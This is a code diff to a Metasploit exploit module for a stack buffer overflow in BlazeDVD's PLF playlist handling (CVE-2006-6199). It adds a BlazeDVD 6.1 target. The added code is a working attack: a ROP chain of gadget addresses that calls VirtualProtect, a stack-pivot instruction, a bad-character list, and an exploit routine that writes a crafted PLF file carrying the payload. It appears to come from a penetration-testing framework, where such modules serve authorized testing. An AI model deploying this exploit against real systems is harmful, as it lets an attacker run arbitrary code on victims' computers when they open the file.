Added target 6.1 to module

modules/exploits/windows/fileformat/blazedvd_plf.rb

@@ -12,36 +12,58 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'BlazeDVD 5.1 PLF Buffer Overflow',
+      'Name'           => 'BlazeDVD 6.1 PLF Buffer Overflow',
       'Description'    => %q{
-          This module exploits a stack over flow in BlazeDVD 5.1. When
+          This module exploits a stack over flow in BlazeDVD 5.1 and 6.1. When
           the application is used to open a specially crafted plf file,
           a buffer is overwritten allowing for the execution of arbitrary code.
       },
       'License'        => MSF_LICENSE,
-      'Author'         => [ 'MC' ],
+      'Author'         =>
+         [
+           'MC',
+           'Deepak Rathore',
+           'Spencer McIntyre',
+           'Ken Smith'
+         ],
       'References'     =>
         [
           [ 'CVE' , '2006-6199' ],
-          [ 'OSVDB', '30770'],
+          [ 'EDB', '32737' ],
+          [ 'OSVDB', '30770' ],
           [ 'BID', '35918' ],
         ],
       'DefaultOptions' =>
         {
-          'EXITFUNC' => 'process',
+          'EXITFUNC' => 'process'
-          'DisablePayloadHandler' => 'true',
         },
       'Payload'        =>
         {
           'Space'    => 750,
-          'BadChars' => "\x00",
+          'BadChars' => "\x00\x0a\x1a",
-          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
+          'DisableNops'  =>  true
-          'DisableNops'  =>  'True',
         },
       'Platform' => 'win',
       'Targets'        =>
         [
-          [ 'BlazeDVD 5.1', { 'Ret' => 0x100101e7 } ],
+          [ 'BlazeDVD 6.1',
+            {
+              'Payload' =>
+                {
+                  # Stackpivot => add esp,0xfffff254
+                  'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
+                }
+            }
+          ],
+          [ 'BlazeDVD 5.1',
+            {
+              'Ret' => 0x100101e7,
+              'Payload' =>
+                {
+                  'EncoderType' => Msf::Encoder::Type::AlphanumUpper
+                }
+            }
+          ],
         ],
       'Privileged'     => false,
       'DisclosureDate' => 'Aug 03 2009',
@@ -53,18 +75,54 @@ class Metasploit3 < Msf::Exploit::Remote
       ], self.class)
   end
 
+  def rop_chain
+    # rop chain generated with mona.py - www.corelan.be
+    case target.name
+    when 'BlazeDVD 6.1'
+      rop_gadgets = [ ]
+      # 0x6162e802 RETN (ROP NOP) [EPG.dll]
+      rop_gadgets.fill(0x6162e802, 0..7)
+      rop_gadgets += [
+        0x6411437d, # POP EAX # RETN [NetReg.dll]
+        0x10011108, # ptr to &VirtualProtect() [IAT SkinScrollBar.Dll]
+        0x6033d910, # MOV ESI,DWORD PTR DS:[EAX] # RETN [Configuration.dll]
+        0x640402b3, # POP EBP # RETN [MediaPlayerCtrl.dll]
+        0x60335935, # & PUSH ESP # RETN 0C [Configuration.dll]
+        0x6032b8bb, # POP EAX # RETN [Configuration.dll]
+        0xfffffcff, # Value to negate, will become 0x00000301
+        0x61627d9c, # NEG EAX # RETN [EPG.dll]
+        0x61640124, # XCHG EAX,EBX # RETN [EPG.dll]
+        0x6403bb48, # POP EAX # RETN [MediaPlayerCtrl.dll]
+        0xffffffc0, # Value to negate, will become 0x00000040
+        0x6403a1b7, # NEG EAX # RETN [MediaPlayerCtrl.dll]
+        0x64046c72, # XCHG EAX,EDX # RETN [MediaPlayerCtrl.dll]
+        0x6403c973, # POP ECX # RETN [MediaPlayerCtrl.dll]
+        0x1001514c, # &Writable location [SkinScrollBar.Dll]
+        0x6403a94d, # POP EDI # RETN [MediaPlayerCtrl.dll]
+        0x6162e802, # RETN (ROP NOP) [EPG.dll]
+        0x64106f33, # POP EAX # RETN [NetReg.dll]
+        0x90909090, # nop
+        0x6031d582, # PUSHAD # RETN [Configuration.dll]
+      ]
+    end
+    return rop_gadgets.flatten.pack("V*")
+  end
+
   def exploit
-
+    case target.name
+    when 'BlazeDVD 5.1'
       plf = rand_text_alpha_upper(6024)
-
       plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)  + [target.ret].pack('V')
       plf[876,12] = make_nops(12)
       plf[888,payload.encoded.length] = payload.encoded
+    when 'BlazeDVD 6.1'
+      plf = rand_text_alphanumeric(260)
+      plf << rop_chain
+      plf << payload.encoded
+    end
 
     print_status("Creating '#{datastore['FILENAME']}' file ...")
-
     file_create(plf)
-
   end
 
 end